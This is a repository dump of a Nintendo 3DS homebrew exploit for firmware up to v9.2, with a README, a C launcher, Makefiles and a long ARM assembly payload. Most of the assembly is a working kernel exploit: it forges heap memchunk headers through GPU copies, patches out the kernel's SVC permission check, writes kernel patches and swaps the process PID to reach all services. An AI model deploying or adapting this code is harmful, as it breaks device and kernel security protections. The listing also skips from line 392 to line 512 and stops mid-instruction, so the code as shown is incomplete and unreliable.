├── 3ds-totalcontrolhaxx ├── source │ ├── haxpayload.s │ └── main.c └── Makefile ├── README.md ├── Makefile └── 3ds_arm11code.s /3ds-totalcontrolhaxx/source/haxpayload.s: -------------------------------------------------------------------------------- 1 | .text 2 | .arm 3 | 4 | .global haxpayload 5 | .type haxpayload, %function 6 | haxpayload: 7 | mov sp, #0x10000000 8 | .incbin "../../3ds_arm11code.bin" 9 | 10 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | This is Nintendo 3DS totalcontrolhaxx for system-version <=v9.2, only using [vulns](https://www.3dbrew.org/wiki/3DS_System_Flaws) which have been already public+fixed(and also publicly exploited elsewhere). This is based on another repo originally from March 2014. 2 | 3 | This loads "/3dshax_arm9.bin" from SD(FS-module is patched when SD isn't accessible), this is the same binary loaded by [3dsbootldr_firm](https://github.com/yellows8/3dsbootldr_firm)/etc. This also includes other optional functionality, see source+Makefile. 4 | 5 | To build, run "make", then if you want the 3dsx build run "make" under the "3ds-totalcontrolhaxx" sub-directory. 6 | 7 | The built 3ds_arm11code.bin is PIC(hence the asm-only) and can be used instead of the otherapp payload in various exploits(hence the above, this existed before even ninjhax). Like payload.bin with oot3dhax and 3ds_arm11code.bin for browserhax. However, you can just use it from the \*hax payload via the .3dsx version too. 8 | 9 | From the start this used a paramblk structure in linearmem which is passed as r0 when jumping to the binary entry, see oot3dhax/browserhax etc. The otherapp payload paramblk passed as r0 is based on the paramblk from here. 10 | 11 | # Credits 12 | * smea, as mentioned in the source. 13 | 14 | -------------------------------------------------------------------------------- /3ds-totalcontrolhaxx/source/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include <3ds.h> 5 | 6 | void haxpayload(u32*); 7 | 8 | //extern Handle gspGpuHandle; 9 | 10 | /*void gxlowcmd_4(u32* inadr, u32* outadr, u32 size, u32 width0, u32 height0, u32 width1, u32 height1, u32 flags) 11 | { 12 | GX_TextureCopy(inadr, width0 | (height0<<16), outadr, width1 | (height1<<16), size, flags); 13 | } 14 | 15 | Result gsp_flushdcache(u8* adr, u32 size) 16 | { 17 | return GSPGPU_FlushDataCache(adr, size); 18 | }*/ 19 | 20 | int main() 21 | { 22 | u32 *paramblk; 23 | u32 *tmpbuf; 24 | u32 tmp=0; 25 | Result ret=0; 26 | Handle *fsuserHandle; 27 | 28 | gfxInitDefault();//Reset gfx/whatever, so that screens are black etc. 29 | gfxExit(); 30 | 31 | paramblk = linearMemAlign(0xc000, 0x1000); 32 | if(paramblk==NULL)return 1; 33 | 34 | tmpbuf = memalign(0x1000, 0x10000); 35 | if(tmpbuf==NULL)return 2; 36 | 37 | if((ret = svcControlMemory(&tmp, (u32)tmpbuf, 0x0, 0x10000, MEMOP_FREE, 0x0))!=0)return 3; 38 | 39 | fsuserHandle = fsGetSessionHandle(); 40 | paramblk[0x50>>2] = *fsuserHandle; 41 | 42 | //paramblk[0x1c>>2] = (u32)gxlowcmd_4; 43 | //paramblk[0x20>>2] = (u32)gsp_flushdcache; 44 | paramblk[0x48>>2] = 0x48;//0xc9;//flags 45 | //paramblk[0x58>>2] = (u32)&gspGpuHandle; 46 | 47 | svcSleepThread(3000000000); 48 | 49 | haxpayload(paramblk); 50 | 51 | return 0; 52 | } 53 | 54 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | DEFINES := 2 | 3 | ifneq ($(strip $(DISABLE_EXITLAUNCHTITLE_TYPE1)),) 4 | DEFINES := $(DEFINES) -DDISABLE_EXITLAUNCHTITLE_TYPE1 5 | endif 6 | 7 | ifneq ($(strip $(DUMPMEMGPU)),) 8 | DEFINES := $(DEFINES) -DDUMPMEMGPU 9 | endif 10 | 11 | ifneq ($(strip $(DUMPMEMGPU_AFTERPATCHES)),) 12 | DEFINES := $(DEFINES) -DDUMPMEMGPU_AFTERPATCHES 13 | endif 14 | 15 | ifneq ($(strip $(DUMPMEMGPU_ADR)),) 16 | DEFINES := $(DEFINES) -DDUMPMEMGPU_ADR=$(DUMPMEMGPU_ADR) 17 | endif 18 | 19 | ifneq ($(strip $(DUMPMEMGPU_SIZE)),) 20 | DEFINES := $(DEFINES) -DDUMPMEMGPU_SIZE=$(DUMPMEMGPU_SIZE) 21 | endif 22 | 23 | ifneq ($(strip $(DUMP_AXIWRAM)),) 24 | DEFINES := $(DEFINES) -DDUMP_AXIWRAM 25 | endif 26 | 27 | ifneq ($(strip $(DUMP_AXIWRAM_AFTERPATCHES)),) 28 | DEFINES := $(DEFINES) -DDUMP_AXIWRAM_AFTERPATCHES 29 | endif 30 | 31 | ifneq ($(strip $(DUMP_ARM11BOOTROM)),) 32 | DEFINES := $(DEFINES) -DDUMP_ARM11BOOTROM 33 | endif 34 | 35 | ifneq ($(strip $(NEW3DSTEST)),) 36 | DEFINES := $(DEFINES) -DNEW3DSTEST 37 | endif 38 | 39 | CPCMD := 40 | 41 | ifneq ($(strip $(OUTPATH)),) 42 | CPCMD := cp 3ds_arm11code.bin $(OUTPATH) 43 | endif 44 | 45 | all: 46 | arm-none-eabi-gcc -x assembler-with-cpp -nostartfiles -nostdlib $(DEFINES) -o 3ds_arm11code.elf 3ds_arm11code.s 47 | arm-none-eabi-objcopy -O binary 3ds_arm11code.elf 3ds_arm11code.bin 48 | $(CPCMD) 49 | 50 | clean: 51 | rm -f 3ds_arm11code.elf 3ds_arm11code.bin 52 | 53 | -------------------------------------------------------------------------------- /3ds-totalcontrolhaxx/Makefile: -------------------------------------------------------------------------------- 1 | #--------------------------------------------------------------------------------- 2 | .SUFFIXES: 3 | #--------------------------------------------------------------------------------- 4 | 5 | ifeq ($(strip $(DEVKITARM)),) 6 | $(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") 7 | endif 8 | 9 | TOPDIR ?= $(CURDIR) 10 | include $(DEVKITARM)/3ds_rules 11 | 12 | #--------------------------------------------------------------------------------- 13 | # TARGET is the name of the output 14 | # BUILD is the directory where object files & intermediate files will be placed 15 | # SOURCES is a list of directories containing source code 16 | # DATA is a list of directories containing data files 17 | # INCLUDES is a list of directories containing header files 18 | # 19 | # NO_SMDH: if set to anything, no SMDH file is generated. 20 | # ROMFS is the directory which contains the RomFS, relative to the Makefile (Optional) 21 | # APP_TITLE is the name of the app stored in the SMDH file (Optional) 22 | # APP_DESCRIPTION is the description of the app stored in the SMDH file (Optional) 23 | # APP_AUTHOR is the author of the app stored in the SMDH file (Optional) 24 | # ICON is the filename of the icon (.png), relative to the project folder. 25 | # If not set, it attempts to use one of the following (in this order): 26 | # - .png 27 | # - icon.png 28 | # - /default_icon.png 29 | #--------------------------------------------------------------------------------- 30 | TARGET := $(notdir $(CURDIR)) 31 | BUILD := build 32 | SOURCES := source 33 | DATA := data 34 | INCLUDES := include 35 | #ROMFS := romfs 36 | 37 | APP_TITLE := 3ds-totalcontrolhaxx 38 | APP_DESCRIPTION := Run totalcontrolhaxx. https://github.com/yellows8/3ds-totalcontrolhaxx 39 | APP_AUTHOR := yellows8 40 | 41 | #--------------------------------------------------------------------------------- 42 | # options for code generation 43 | #--------------------------------------------------------------------------------- 44 | ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard -mtp=soft 45 | 46 | CFLAGS := -g -Wall -O2 -mword-relocations \ 47 | -fomit-frame-pointer -ffunction-sections \ 48 | $(ARCH) 49 | 50 | CFLAGS += $(INCLUDE) -DARM11 -D_3DS 51 | 52 | CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11 53 | 54 | ASFLAGS := -g $(ARCH) 55 | LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map) 56 | 57 | LIBS := -lctru -lm 58 | 59 | #--------------------------------------------------------------------------------- 60 | # list of directories containing libraries, this must be the top level containing 61 | # include and lib 62 | #--------------------------------------------------------------------------------- 63 | LIBDIRS := $(CTRULIB) 64 | 65 | 66 | #--------------------------------------------------------------------------------- 67 | # no real need to edit anything past this point unless you need to add additional 68 | # rules for different file extensions 69 | #--------------------------------------------------------------------------------- 70 | ifneq ($(BUILD),$(notdir $(CURDIR))) 71 | #--------------------------------------------------------------------------------- 72 | 73 | export OUTPUT := $(CURDIR)/$(TARGET) 74 | export TOPDIR := $(CURDIR) 75 | 76 | export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ 77 | $(foreach dir,$(DATA),$(CURDIR)/$(dir)) 78 | 79 | export DEPSDIR := $(CURDIR)/$(BUILD) 80 | 81 | CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) 82 | CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) 83 | SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) 84 | PICAFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.v.pica))) 85 | SHLISTFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.shlist))) 86 | BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) 87 | 88 | #--------------------------------------------------------------------------------- 89 | # use CXX for linking C++ projects, CC for standard C 90 | #--------------------------------------------------------------------------------- 91 | ifeq ($(strip $(CPPFILES)),) 92 | #--------------------------------------------------------------------------------- 93 | export LD := $(CC) 94 | #--------------------------------------------------------------------------------- 95 | else 96 | #--------------------------------------------------------------------------------- 97 | export LD := $(CXX) 98 | #--------------------------------------------------------------------------------- 99 | endif 100 | #--------------------------------------------------------------------------------- 101 | 102 | export OFILES := $(addsuffix .o,$(BINFILES)) \ 103 | $(PICAFILES:.v.pica=.shbin.o) $(SHLISTFILES:.shlist=.shbin.o) \ 104 | $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o) 105 | 106 | export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ 107 | $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ 108 | -I$(CURDIR)/$(BUILD) 109 | 110 | export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) 111 | 112 | ifeq ($(strip $(ICON)),) 113 | icons := $(wildcard *.png) 114 | ifneq (,$(findstring $(TARGET).png,$(icons))) 115 | export APP_ICON := $(TOPDIR)/$(TARGET).png 116 | else 117 | ifneq (,$(findstring icon.png,$(icons))) 118 | export APP_ICON := $(TOPDIR)/icon.png 119 | endif 120 | endif 121 | else 122 | export APP_ICON := $(TOPDIR)/$(ICON) 123 | endif 124 | 125 | ifeq ($(strip $(NO_SMDH)),) 126 | export _3DSXFLAGS += --smdh=$(CURDIR)/$(TARGET).smdh 127 | endif 128 | 129 | ifneq ($(ROMFS),) 130 | export _3DSXFLAGS += --romfs=$(CURDIR)/$(ROMFS) 131 | endif 132 | 133 | .PHONY: $(BUILD) clean all 134 | 135 | #--------------------------------------------------------------------------------- 136 | all: $(BUILD) 137 | 138 | $(BUILD): 139 | @[ -d $@ ] || mkdir -p $@ 140 | @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile 141 | 142 | #--------------------------------------------------------------------------------- 143 | clean: 144 | @echo clean ... 145 | @rm -fr $(BUILD) $(TARGET).3dsx $(OUTPUT).smdh $(TARGET).elf 146 | 147 | 148 | #--------------------------------------------------------------------------------- 149 | else 150 | 151 | DEPENDS := $(OFILES:.o=.d) 152 | 153 | #--------------------------------------------------------------------------------- 154 | # main targets 155 | #--------------------------------------------------------------------------------- 156 | ifeq ($(strip $(NO_SMDH)),) 157 | $(OUTPUT).3dsx : $(OUTPUT).elf $(OUTPUT).smdh 158 | else 159 | $(OUTPUT).3dsx : $(OUTPUT).elf 160 | endif 161 | 162 | $(OUTPUT).elf : $(OFILES) 163 | 164 | #--------------------------------------------------------------------------------- 165 | # you need a rule like this for each extension you use as binary data 166 | #--------------------------------------------------------------------------------- 167 | %.bin.o : %.bin 168 | #--------------------------------------------------------------------------------- 169 | @echo $(notdir $<) 170 | @$(bin2o) 171 | 172 | #--------------------------------------------------------------------------------- 173 | # rules for assembling GPU shaders 174 | #--------------------------------------------------------------------------------- 175 | define shader-as 176 | $(eval CURBIN := $(patsubst %.shbin.o,%.shbin,$(notdir $@))) 177 | picasso -o $(CURBIN) $1 178 | bin2s $(CURBIN) | $(AS) -o $@ 179 | echo "extern const u8" `(echo $(CURBIN) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > `(echo $(CURBIN) | tr . _)`.h 180 | echo "extern const u8" `(echo $(CURBIN) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> `(echo $(CURBIN) | tr . _)`.h 181 | echo "extern const u32" `(echo $(CURBIN) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> `(echo $(CURBIN) | tr . _)`.h 182 | endef 183 | 184 | %.shbin.o : %.v.pica %.g.pica 185 | @echo $(notdir $^) 186 | @$(call shader-as,$^) 187 | 188 | %.shbin.o : %.v.pica 189 | @echo $(notdir $<) 190 | @$(call shader-as,$<) 191 | 192 | %.shbin.o : %.shlist 193 | @echo $(notdir $<) 194 | @$(call shader-as,$(foreach file,$(shell cat $<),$(dir $<)/$(file))) 195 | 196 | -include $(DEPENDS) 197 | 198 | #--------------------------------------------------------------------------------------- 199 | endif 200 | #--------------------------------------------------------------------------------------- 201 | -------------------------------------------------------------------------------- /3ds_arm11code.s: -------------------------------------------------------------------------------- 1 | .section .init 2 | .global _start 3 | .arm 4 | 5 | _start: 6 | push {r0-r12,lr} 7 | sub sp, sp, #32 8 | 9 | add r1, pc, #1 10 | bx r1 11 | .thumb 12 | 13 | mov r7, r0 14 | 15 | ldr r0, [r7, #0x5c] 16 | cmp r0, #0 17 | bne _start_initgsp 18 | 19 | ldr r1, =0x300 20 | str r1, [r7, #0x5c] 21 | 22 | _start_initgsp: 23 | bl gsp_initialize 24 | 25 | ldr r0, =0x1ED02A04 26 | ldr r1, =0x010000FF 27 | bl gsp_writereg @ Set sub-screen colorfill to red. 28 | 29 | ldr r0, [r7, #0x48] 30 | mov r1, #0x10 31 | tst r0, r1 32 | bne kernelhax_end 33 | 34 | bl kernelhax 35 | 36 | kernelhax_end: 37 | ldr r0, [r7, #0x4c] 38 | cmp r0, #0 39 | beq start_loadcode 40 | blx r0 41 | 42 | start_loadcode: 43 | ldr r0, =0x1ED02A04 44 | ldr r1, =0x01FFFF00 45 | bl gsp_writereg @ Set sub-screen colorfill. 46 | 47 | bl loadsd_arm9code 48 | 49 | ldr r0, =0x1ED02A04 50 | ldr r1, =0x01FFFFFF 51 | bl gsp_writereg @ Set sub-screen colorfill. 52 | 53 | ldr r0, =0x1ED02204 54 | ldr r1, =0x01FFFFFF 55 | bl gsp_writereg @ Set main-screen colorfill. 56 | 57 | blx kernelmode_code_getadr 58 | blx svc7b 59 | 60 | #ifdef DUMPMEMGPU_AFTERPATCHES 61 | #ifdef DUMPMEMGPU_ADR 62 | #ifdef DUMPMEMGPU_SIZE 63 | add r0, sp, #12 64 | bl srv_init 65 | bl throw_fatalerr_errcheck 66 | 67 | bl get_fsuser_servname 68 | mov r2, r0 69 | add r0, sp, #12 @ srv handle 70 | add r1, sp, #16 @ Out handle 71 | bl srv_GetServiceHandle 72 | bl throw_fatalerr_errcheck 73 | 74 | add r0, sp, #16 75 | bl fsuser_initialize 76 | bl throw_fatalerr_errcheck 77 | 78 | add r0, sp, #16 79 | ldr r1, =DUMPMEMGPU_ADR 80 | ldr r2, =DUMPMEMGPU_SIZE 81 | bl dumpmemgpu_writesd 82 | 83 | ldr r0, [sp, #16] 84 | blx svcCloseHandle 85 | 86 | add r0, sp, #12 87 | bl srv_shutdown 88 | #endif 89 | #endif 90 | #endif 91 | 92 | bl exit_launchtitle 93 | 94 | /*mov r0, #0 95 | mov r1, #3 96 | svc 0x33 @ svcOpenProcess() 97 | cmp r0, #0 98 | bne code_endcrash 99 | 100 | mov r4, r1 101 | mov r3, r4 102 | mov r1, #1 103 | adr r0, kernelmode_code_stage2 104 | orr r0, r0, r1 105 | blx svc7b 106 | 107 | cmp r3, #0 108 | bne code_endcrash 109 | 110 | mov r0, r4 111 | blx svcCloseHandle 112 | 113 | bl arm11code_startfirmlaunch*/ 114 | 115 | adr r1, doReturn 116 | bx r1 117 | 118 | .arm 119 | doReturn: 120 | add sp, sp, #32 121 | pop {r0-r12,pc} 122 | .pool 123 | .thumb 124 | 125 | kernelhax: 126 | push {r4, r5, r6, lr} 127 | ldr r0, [r7, #0x48] 128 | mov r1, #1 129 | tst r0, r1 130 | beq kernelhax_start_freememend 131 | 132 | mov r0, #1 @ operation 133 | mov r4, #0 @ permissions 134 | 135 | ldr r1, =0x08000000 @ addr0 136 | mov r2, #0 @ addr1 137 | ldr r3, =0x10000 @ size 138 | blx svcControlMemory @ Free the 0x10000-bytes @ 0x08000000. 139 | //ldr r1, =0x71717171 @ Ignore any errors from this, for when code which called this arm11code binary already freed this memory. 140 | //bl checkfail_thumb 141 | 142 | blx svcSleepThread_delay1second 143 | 144 | kernelhax_start_freememend: 145 | 146 | blx get_kernelcode_overwriteaddr 147 | cmp r0, #0 148 | bne kernelhax_begin 149 | ldr r0, =0x80808080 150 | bl throw_fatalerr 151 | 152 | kernelhax_begin: 153 | mov r5, r0 154 | 155 | ldr r4, =0x1FF80002 156 | ldrb r4, [r4] 157 | 158 | cmp r4, #48 @ v9.3 159 | bge kernelhax_v93 160 | 161 | mov r0, r5 162 | bl kernel_memchunkhax 163 | b kernelhax_finish 164 | 165 | kernelhax_v93: @ FIRM >=v9.3 166 | ldr r0, =0x58484b4e @ "NKHX", that is: "No Kernel HaX" 167 | bl throw_fatalerr 168 | 169 | kernelhax_finish: 170 | bl trigger_icache_invalidation 171 | 172 | pop {r4, r5, r6, pc} 173 | .pool 174 | 175 | kernel_memchunkhax: 176 | push {r4, r5, r6, lr} 177 | sub sp, sp, #32 178 | 179 | str r0, [sp, #24] 180 | 181 | ldr r0, [r7, #0] 182 | cmp r0, #0 183 | bne start_memchunkhax 184 | 185 | ldr r0, =0x10003 @ operation 186 | mov r4, #3 @ permissions 187 | 188 | mov r1, #0 @ addr0 189 | mov r2, #0 @ addr1 190 | ldr r3, =0x1000 @ size 191 | blx svcControlMemory @ Allocate 0x1000-bytes of linearmem, which should be located at the physaddr used below in the memchunkhax. 192 | str r1, [sp, #28] 193 | ldr r1, =0x71717171 194 | bl checkfail_thumb 195 | 196 | blx svcSleepThread_delay1second 197 | 198 | mov r0, #1 @ operation 199 | mov r4, #0 @ permissions 200 | 201 | ldr r1, [sp, #28] @ addr0 202 | mov r2, #0 @ addr1 203 | ldr r3, =0x1000 @ size 204 | blx svcControlMemory @ Free the linearmem which was mapped above. 205 | ldr r1, =0x72727272 206 | bl checkfail_thumb 207 | 208 | ldr r1, [sp, #28] @ Above linearmem vaddr, when it was mapped. 209 | str r1, [r7] 210 | 211 | blx svcSleepThread_delay1second 212 | 213 | start_memchunkhax: 214 | ldr r5, =0x1000 215 | add r5, r5, r7 @ Setup the fake heap memchunk structure. 216 | ldr r6, =0x1000 217 | add r6, r6, r5 218 | 219 | ldr r0, [sp, #24] 220 | //ldr r0, =0x40404040 221 | sub r2, r0, #4 @ This causes the kernelpanic-branch which is executed in the SVC-handler when the process doesn't have access to the SVC, to be patched out via overwriting it with value 0. 222 | 223 | mov r0, #0 224 | mov r1, #1 225 | str r1, [r5, #0] 226 | str r0, [r5, #4] 227 | str r2, [r5, #8] 228 | str r0, [r5, #12] 229 | 230 | mov r0, r5 231 | mov r1, #0x10 232 | bl gsp_flushdcache 233 | 234 | mov r0, r6 235 | mov r1, #0x10 236 | bl gsp_flushdcache 237 | 238 | kernel_memchunkhax_copyoriginalchunk: 239 | @ Copy the original memchunk structure to tmpbuf+0x2000. 240 | ldr r0, [r7] @ src-addr 241 | mov r1, r6 @ dst-addr 242 | mov r2, #0x10 @ size 243 | 244 | mov r3, #8 245 | str r3, [sp, #12] @ flags 246 | mov r3, #0 @ width0 247 | str r3, [sp, #0] @ height0 248 | str r3, [sp, #4] @ width1 249 | str r3, [sp, #8] @ height1 250 | 251 | blx gxlow_cmd4 252 | 253 | blx svcSleepThread_delay1second 254 | 255 | ldr r0, [r6, #4] 256 | cmp r0, #0 257 | beq kernel_memchunkhax_writenewhdr @ Branch when the memchunkhdr next-ptr is NULL. 258 | 259 | mov r1, #4 @ Clear the high 4-bits in the kernel FCRAM vaddr, resulting in a FCRAM offset. 260 | lsl r0, r0, r1 261 | lsr r0, r0, r1 262 | 263 | mov r2, #0x14 264 | mov r3, #24 265 | ldr r1, [r7] 266 | lsr r1, r1, r3 267 | ldr r3, =0x14000000 268 | cmp r1, r2 269 | beq kernel_memchunkhax_oldlinearmem 270 | 271 | ldr r3, =0x30000000 272 | 273 | kernel_memchunkhax_oldlinearmem: 274 | add r0, r0, r3 @ r0 = userland vaddr for the above next-ptr. 275 | str r0, [r7] @ Update the current memchunk ptr. 276 | b kernel_memchunkhax_copyoriginalchunk 277 | 278 | kernel_memchunkhax_writenewhdr: 279 | @ Overwrite the current memchunk structure for the current memregion with the above fake structure. 280 | mov r0, r5 @ src-addr 281 | ldr r1, [r7] @ dst-addr 282 | mov r2, #0x10 @ size 283 | 284 | mov r3, #8 285 | str r3, [sp, #12] @ flags 286 | mov r3, #0 @ width0 287 | str r3, [sp, #0] @ height0 288 | str r3, [sp, #4] @ width1 289 | str r3, [sp, #8] @ height1 290 | 291 | blx gxlow_cmd4 292 | 293 | blx svcSleepThread_delay1second 294 | 295 | @ This triggers the SVC-handler memwrite mentioned above. 296 | mov r0, #3 @ operation 297 | mov r4, #3 @ permissions 298 | 299 | ldr r1, =0x0FF00000 @ addr0 300 | mov r2, #0 @ addr1 301 | ldr r3, =0x1000 @ size 302 | blx svcControlMemory 303 | ldr r1, =0x70707070 304 | bl checkfail_thumb 305 | 306 | blx svcSleepThread_delay1second 307 | 308 | @ Free the memory that was allocated. 309 | mov r0, #1 @ operation 310 | mov r4, #0 @ permissions 311 | 312 | ldr r1, =0x0FF00000 @ addr0 313 | mov r2, #0 @ addr1 314 | ldr r3, =0x1000 @ size 315 | blx svcControlMemory 316 | ldr r1, =0x90909090 317 | bl checkfail_thumb 318 | 319 | blx svcSleepThread_delay1second 320 | 321 | @ Restore the memchunk structure. 322 | mov r0, r6 @ src-addr 323 | ldr r1, [r7] @ dst-addr 324 | mov r2, #0x10 @ size 325 | 326 | mov r3, #8 327 | str r3, [sp, #12] @ flags 328 | mov r3, #0 @ width0 329 | str r3, [sp, #0] @ height0 330 | str r3, [sp, #4] @ width1 331 | str r3, [sp, #8] @ height1 332 | 333 | blx gxlow_cmd4 334 | 335 | blx svcSleepThread_delay1second 336 | 337 | add sp, sp, #32 338 | pop {r4, r5, r6, pc} 339 | .pool 340 | 341 | getsrvhandle_allservices: @ Get a srv handle which has access to all services. r0 = out srv handle* 342 | push {r0, r4, r5, r6, lr} 343 | sub sp, sp, #0x20 344 | 345 | mov r0, sp 346 | ldr r1, =0xffff8001 347 | blx svcGetProcessId 348 | 349 | bl throw_fatalerr_errcheck 350 | 351 | mov r4, #0 352 | ldr r5, [sp, #0] 353 | mov r6, #0 354 | 355 | adr r0, kernelmode_searchval_overwrite @ r4=address(0=cur kprocess), r5=searchval, r6=val to write 356 | blx svc7b @ Overwrite kprocess PID with 0. 357 | 358 | mov r4, r3 359 | ldr r5, [sp, #0] 360 | 361 | ldr r0, [sp, #0x20] 362 | bl srv_init 363 | bl throw_fatalerr_errcheck 364 | 365 | adr r0, kernelmode_writeval @ r4=addr, r5=u32val 366 | blx svc7b @ Restore the original PID. 367 | 368 | add sp, sp, #0x24 369 | pop {r4, r5, r6, pc} 370 | .pool 371 | 372 | code_endcrash: 373 | bl fail_thumb 374 | 375 | .arm 376 | 377 | kernelmode_code_getadr: 378 | adr r0, kernelmode_code 379 | bx lr 380 | 381 | kernelmode_getlcdregbase: 382 | ldr r1, =0x1FF80002 383 | ldrb r1, [r1] 384 | ldr r0, =0xFFFD6000 385 | 386 | cmp r1, #44 387 | blt kernelmode_getlcdregbase_end 388 | 389 | ldr r0, =0xFFFC4000 390 | 391 | cmp r1, #46 392 | blt kernelmode_getlcdregbase_end @ =v8.0 FIRM. 512 | ldr r1, =0xE0000000 513 | 514 | write_kernel_patches_L1: 515 | str r1, [sp, #4] 516 | 517 | lsr r6, r6, #12 518 | lsl r6, r6, #12 519 | mov r0, r6 520 | blx kernel_vaddr2physaddr @ Convert LR of kernelmode_code with low 12-bits of the vaddr, to physaddr. 521 | 522 | ldr r3, =0x1FF80000 523 | sub r0, r0, r3 @ r0 = offset of the above physaddr relative to axiwram. 524 | sub r6, r6, r0 525 | mov r5, r6 @ r5/r6 = vaddr of kernel .text. 526 | 527 | blx arm11kernel_stubcode_end_getadr 528 | mov r1, r0 529 | adr r0, arm11kernel_stubcode @ Copy the code at arm11kernel_stubcode - arm11kernel_stubcode_end to AXIWRAM+0x1000. 530 | ldr r2, =0xffff0d00 531 | str r2, [sp, #0x1c] 532 | ldr r2, =0x74d00 533 | add r2, r2, r4 534 | str r2, [sp, #0x18] 535 | 536 | ldr r3, [r2] 537 | ldr r6, [r0] 538 | cmp r3, r6 539 | bne write_kernel_patches_stubcpylp 540 | bl write_kernel_patches_end @ Return from this code when this haxx already wrote to AXIWRAM, when this haxx was used on the running system more than once. 541 | 542 | write_kernel_patches_stubcpylp: 543 | ldr r3, [r0] 544 | str r3, [r2] 545 | add r0, r0, #4 546 | add r2, r2, #4 547 | cmp r0, r1 548 | blt write_kernel_patches_stubcpylp 549 | 550 | ldr r0, [r7, #0x5c] 551 | ldr r1, =0x300 552 | cmp r0, #0 553 | beq write_kernel_patches_locatecode_memalloc0_start 554 | cmp r0, r1 555 | beq write_kernel_patches_locatecode_memalloc0_start 556 | 557 | ldr r0, =0xE85F6000 @ When running under a system-applet, store the arm9bin buffer under VRAM instead of kernel FCRAM heap. 558 | 559 | ldr r1, =0x1FF80002 560 | ldrb r1, [r1] 561 | cmp r1, #44 562 | blt write_kernel_patches_memallocdone 563 | ldr r0, =0xD85F6000 564 | b write_kernel_patches_memallocdone 565 | 566 | write_kernel_patches_locatecode_memalloc0_start: 567 | mov r0, #0 568 | ldr r1, =0x80000 569 | ldr r2, =0xe3a01030 570 | mov r6, #0xf 571 | 572 | write_kernel_patches_locatecode_memalloc0: 573 | ldr r3, [r5, r0] 574 | bic r3, r3, r6 575 | cmp r2, r3 576 | bne write_kernel_patches_locatecode_memalloc0_lpnext 577 | 578 | ldr r6, =0xe3a02000 @ Check that the above located instruction has the following instruction right before it: "mov r2, #0". 579 | sub r0, r0, #4 580 | ldr r3, [r5, r0] 581 | add r0, r0, #4 582 | cmp r3, r6 583 | beq write_kernel_patches_locatecode_memalloc0_end 584 | 585 | mov r6, #0xf 586 | 587 | write_kernel_patches_locatecode_memalloc0_lpnext: 588 | add r0, r0, #4 589 | cmp r0, r1 590 | blt write_kernel_patches_locatecode_memalloc0 591 | 592 | ldr r1, =0x4040FF00 593 | bl fail_thumb 594 | 595 | write_kernel_patches_locatecode_memalloc0_end: 596 | ldr r6, [sp, #4] 597 | add r0, r0, r5 598 | add r0, r0, #4 599 | mov r1, #0 600 | blx parse_branch 601 | str r0, [sp] 602 | 603 | /*ldr r0, =0x04000000 604 | ldr r1, =0x02C00000 605 | ldr r2, =0x01400000*/ 606 | 607 | blx appmemregion_sizetable_getadr 608 | ldr r1, =0x1FF80030 @ APPMEMTYPE 609 | ldr r1, [r1] 610 | lsl r1, r1, #2 611 | ldr r0, [r0, r1] 612 | 613 | ldr r3, =0x1ff80040 614 | ldr r1, [r3, #4] 615 | ldr r2, [r3, #8] 616 | 617 | str r0, [sp, #8] 618 | str r1, [sp, #12] 619 | str r2, [sp, #16] 620 | add r0, r0, r1 621 | str r0, [sp, #20] 622 | 623 | mov r0, #0 624 | ldr r1, =0x80000 625 | 626 | write_kernel_patches_locatecode_memalloc1: 627 | ldr r3, [r4, r0] 628 | ldr r2, [sp, #4] 629 | cmp r2, r3 630 | bne write_kernel_patches_locatecode_memalloc1_cont 631 | 632 | mov r3, #0x04 633 | add r3, r3, r4 634 | add r3, r3, r0 635 | ldr r3, [r3] 636 | ldr r2, [sp, #8] 637 | cmp r2, r3 638 | bne write_kernel_patches_locatecode_memalloc1_cont 639 | 640 | mov r3, #0x10 641 | add r3, r3, r4 642 | add r3, r3, r0 643 | ldr r3, [r3] 644 | ldr r2, [sp, #8] 645 | add r2, r2, r6 646 | cmp r2, r3 647 | bne write_kernel_patches_locatecode_memalloc1_cont 648 | 649 | mov r3, #0x14 650 | add r3, r3, r4 651 | add r3, r3, r0 652 | ldr r3, [r3] 653 | ldr r2, [sp, #12] 654 | cmp r2, r3 655 | bne write_kernel_patches_locatecode_memalloc1_cont 656 | 657 | ldr r2, [sp, #8] 658 | ldr r3, [sp, #12] 659 | add r2, r2, r3 660 | mov r3, #0x20 661 | add r3, r3, r4 662 | add r3, r3, r0 663 | ldr r3, [r3] 664 | add r2, r2, r6 665 | cmp r2, r3 666 | bne write_kernel_patches_locatecode_memalloc1_cont 667 | 668 | mov r3, #0x24 669 | add r3, r3, r4 670 | add r3, r3, r0 671 | ldr r3, [r3] 672 | ldr r2, [sp, #16] 673 | cmp r2, r3 674 | beq write_kernel_patches_locatecode_memalloc1_end 675 | 676 | write_kernel_patches_locatecode_memalloc1_cont: 677 | add r0, r0, #4 678 | cmp r0, r1 679 | blt write_kernel_patches_locatecode_memalloc1 680 | 681 | ldr r1, =0x4040FF01 682 | bl fail_thumb 683 | 684 | write_kernel_patches_locatecode_memalloc1_end: 685 | sub r0, r0, #8 686 | add r0, r0, r4 687 | 688 | @ldr r0, =0xfff7f894 689 | mov 